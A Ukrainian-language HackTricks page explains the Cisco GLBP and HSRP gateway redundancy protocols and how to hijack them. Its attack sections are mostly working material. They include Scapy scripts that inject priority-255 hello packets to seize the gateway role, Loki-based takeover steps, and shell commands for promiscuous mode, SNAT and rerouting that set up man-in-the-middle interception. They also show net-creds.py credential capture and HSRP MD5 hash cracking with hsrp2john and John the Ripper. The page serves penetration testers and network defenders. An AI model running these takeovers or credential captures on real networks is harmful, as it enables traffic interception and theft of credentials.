GLBP & HSRP Атаки
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Огляд захоплення FHRP
Особливості FHRP
FHRP призначений для підвищення надійності мережі шляхом об’єднання кількох маршрутизаторів в єдиний віртуальний вузол, що покращує розподіл навантаження та відмовостійкість. Cisco Systems запровадила в цьому наборі протоколів такі відомі рішення, як GLBP та HSRP.
Особливості протоколу GLBP
GLBP від Cisco працює в стеку TCP/IP і використовує UDP на порті 3222 для обміну повідомленнями. Маршрутизатори в групі GLBP обмінюються пакетами “hello” з інтервалом 3 секунди. Якщо маршрутизатор не надсилає ці пакети протягом 10 секунд, вважається, що він недоступний. Тимчасові інтервали не є фіксованими і можуть бути змінені.
GLBP для IPv6 використовує multicast FF02::66 через UDP/3222, а формат віртуальної MAC-адреси стає 0007.b4xx.xxyy (AVF ID знаходиться в останньому байті). Таймінги та поверхня атаки залишаються такими ж, як і в IPv4, тому методи захоплення працюють і в dual‑stack мережах.
Робота GLBP та розподіл навантаження
GLBP вирізняється тим, що дозволяє розподіляти навантаження між маршрутизаторами, використовуючи одну віртуальну IP-адресу разом із кількома віртуальними MAC-адресами. У групі GLBP кожен маршрутизатор бере участь у пересиланні пакетів. На відміну від HSRP/VRRP, GLBP пропонує реальне балансування навантаження через кілька механізмів:
- Host-Dependent Load Balancing: забезпечує постійне призначення AVF MAC-адреси для хоста, що важливо для стабільних конфігурацій NAT.
- Round-Robin Load Balancing: підхід за замовчуванням, чергує призначення AVF MAC-адрес серед запитуючих хостів.
- Weighted Round-Robin Load Balancing: розподіляє навантаження на основі попередньо визначених метрик “Weight”.
Ключові компоненти та термінологія в GLBP
- AVG (Active Virtual Gateway): основний маршрутизатор, відповідальний за виділення MAC-адрес іншим маршрутизаторам.
- AVF (Active Virtual Forwarder): маршрутизатор, призначений для обробки мережевого трафіку.
- GLBP Priority: метрика, що визначає AVG, початкова за замовчуванням — 100, діапазон від 1 до 255.
- GLBP Weight: відображає поточне навантаження на маршрутизатор, може налаштовуватися вручну або через Object Tracking.
- GLBP Virtual IP Address: служить в якості шлюзу за замовчуванням для всіх підключених пристроїв.
Для взаємодії GLBP використовує зарезервовану multicast-адресу 224.0.0.102 та UDP порт 3222. Маршрутизатори передають пакети “hello” кожні 3 секунди і вважаються недієздатними, якщо пропущено пакет протягом 10 секунд.
Механізм атаки на GLBP
Зловмисник може стати первинним маршрутизатором, відправивши GLBP-пакет з найвищим значенням пріоритету (255). Це може призвести до DoS або MITM атак, дозволяючи перехоплювати або перенаправляти трафік.
Практичне захоплення GLBP за допомогою Scapy (короткий PoC)
from scapy.all import *
vip = "10.10.100.254" # learned from sniffing
pkt = IP(dst="224.0.0.102")/UDP(dport=3222,sport=3222)/Raw(
b"\x01\x00\xff\x64" # Version=1, Opcode=Hello, Priority=255, Weight=100
)
send(pkt, iface="eth0", loop=1, inter=1)
Сформуйте байти payload, щоб імітувати заголовок GLBP (version/opcode/priority/weight/VRID). Зациклення кадру гарантує перемогу в виборах AVG, якщо автентифікація відсутня.
Виконання GLBP-атаки з Loki
Loki може виконувати GLBP-атаку, інжектуючи пакет з priority і weight, встановленими на 255. Підготовчі кроки перед атакою включають збір інформації, такої як віртуальна IP-адреса, наявність автентифікації та значення priority маршрутизаторів, за допомогою інструментів на кшталт Wireshark.
Кроки атаки:
- Переключіться в promiscuous mode та ввімкніть IP forwarding.
- Визначте цільовий router і отримайте його IP.
- Згенеруйте Gratuitous ARP.
- Інжектуйте шкідливий GLBP-пакет, видаючи себе за AVG.
- Призначте вторинну IP-адресу на інтерфейс мережі атакуючого, дублюючи GLBP virtual IP.
- Реалізуйте SNAT для повної видимості трафіку.
- Налаштуйте маршрутизацію, щоб забезпечити подальший доступ в інтернет через оригінальний AVG router.
Дотримуючись цих кроків, атакуючий стає “man in the middle”, здатним перехоплювати та аналізувати мережевий трафік, включно з незашифрованими або чутливими даними.
Для демонстрації, ось необхідні фрагменти команд:
# Enable promiscuous mode and IP forwarding
sudo ip link set eth0 promisc on
sudo sysctl -w net.ipv4.ip_forward=1
# Configure secondary IP and SNAT
sudo ifconfig eth0:1 10.10.100.254 netmask 255.255.255.0
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
# Adjust routing
sudo route del default
sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100
Monitoring and intercepting traffic can be done using net-creds.py or similar tools to capture and analyze data flowing through the compromised network.
Пасивне пояснення HSRP Hijacking з деталями команд
Огляд HSRP (Hot Standby Router/Redundancy Protocol)
HSRP — це пропрієтарний протокол Cisco, призначений для резервування мережевого шлюзу. Він дозволяє об’єднати кілька фізичних маршрутизаторів в єдиний логічний блок з спільною IP-адресою. Цим логічним блоком керує основний маршрутизатор, відповідальний за перенаправлення трафіку. На відміну від GLBP, який використовує метрики на кшталт priority і weight для балансування навантаження, HSRP покладається на один активний маршрутизатор для керування трафіком.
HSRPv1 використовує multicast 224.0.0.2 та віртуальну MAC-адресу 0000.0c07.acXX; HSRPv2 та HSRPv2 для IPv6 використовують 224.0.0.102 / FF02::66 та віртуальну MAC 0000.0c9f.fXXX. Порт призначення UDP — 1985 для IPv4 і 2029 для IPv6.
Ролі та термінологія в HSRP
- HSRP Active Router: Пристрій, що виконує роль шлюзу і керує потоком трафіку.
- HSRP Standby Router: Резервний маршрутизатор, готовий взяти на себе роль активного у разі відмови.
- HSRP Group: Набір маршрутизаторів, які співпрацюють, формуючи єдиний стійкий віртуальний маршрутизатор.
- HSRP MAC Address: Віртуальна MAC-адреса, призначена логічному маршрутизатору в конфігурації HSRP.
- HSRP Virtual IP Address: Віртуальна IP-адреса HSRP-групи, що виступає як шлюз за замовчуванням для підключених пристроїв.
Версії HSRP
HSRP існує в двох версіях — HSRPv1 і HSRPv2, які відрізняються головним чином пропускною здатністю групи, використанням multicast IP та структурою віртуальної MAC-адреси. Протокол використовує специфічні multicast IP-адреси для обміну службовою інформацією, при цьому Hello-пакети надсилаються кожні 3 секунди. Маршрутизатор вважається неактивним, якщо протягом 10-секундного інтервалу не отримано жодного пакета.
Механізм атаки HSRP
Атаки на HSRP полягають у примусовому захопленні ролі Active Router шляхом інжекції максимального значення пріоритету. Це може призвести до Man-In-The-Middle (MITM) атаки. Обов’язковими підготовчими кроками перед атакою є збір інформації про HSRP-конфігурацію, що можна зробити за допомогою Wireshark для аналізу трафіку.
Quick HSRP takeover with Scapy
from scapy.all import *
vip = "10.10.100.1"
pkt = IP(dst="224.0.0.102")/UDP(sport=1985,dport=1985)/Raw(
b"\x00\x02\xff\x03\x00\x00\x00\x01" # Hello, priority 255, group 1
)
send(pkt, iface="eth0", inter=1, loop=1)
Якщо автентифікація не налаштована, безперервне відправлення hellos з вищим пріоритетом примушує сусідні вузли переходити в стани Speak/Listen і дозволяє вам стати Active, перенаправляючи трафік через ваш хост.
Особливі випадки автентифікації HSRP
- Застаріла автентифікація у відкритому тексті легко піддається підробці.
- Автентифікація MD5 захищає лише HSRP-пейлоад; сконструйовані пакети все ще можуть обмежувати частоту/завдавати DoS control planes. Раніше випуски NX-OS дозволяли DoS проти аутентифікованих груп (див. Cisco advisory CSCup11309).
- На багатьох спільних VLAN у ISP / VPS HSRPv1-мультікасти видимі для орендарів; без автентифікації ви можете приєднатися і перехопити трафік.
Кроки для обходу автентифікації HSRP
- Збережіть мережевий трафік, що містить дані HSRP, у файл .pcap.
tcpdump -w hsrp_traffic.pcap
- Витягніть MD5-хеші з .pcap файлу за допомогою hsrp2john.py.
python2 hsrp2john.py hsrp_traffic.pcap > hsrp_hashes
- Зламайте MD5-хеші за допомогою John the Ripper.
john --wordlist=mywordlist.txt hsrp_hashes
Виконання HSRP Injection за допомогою Loki
- Запустіть Loki для виявлення HSRP-оголошень.
- Встановіть мережевий інтерфейс у promiscuous режим і увімкніть IP forwarding.
sudo ip link set eth0 promisc on
sudo sysctl -w net.ipv4.ip_forward=1
- Використайте Loki для націлювання на конкретний маршрутизатор, введіть зламаний HSRP-пароль і виконайте необхідні налаштування, щоб імітувати Active Router.
- Після отримання ролі Active Router налаштуйте свій мережевий інтерфейс і IP tables для перехоплення легітимного трафіку.
sudo ifconfig eth0:1 10.10.100.254 netmask 255.255.255.0
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
- Змініть таблицю маршрутизації, щоб спрямовувати трафік через колишній Active Router.
sudo route del default
sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100
- Використайте net-creds.py або подібну утиліту для захоплення облікових даних із перехопленого трафіку.
sudo python2 net-creds.py -i eth0
Виконання цих кроків ставить атакувальника в позицію перехоплювати та маніпулювати трафіком, подібно до процедури захоплення GLBP. Це підкреслює вразливість протоколів резервування, таких як HSRP, та необхідність надійних заходів безпеки.
Посилання
- https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9
- Cisco NX-OS HSRP authentication DoS (CSCup11309)
- Reddit: HSRP seen on VPS shared VLANs
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.


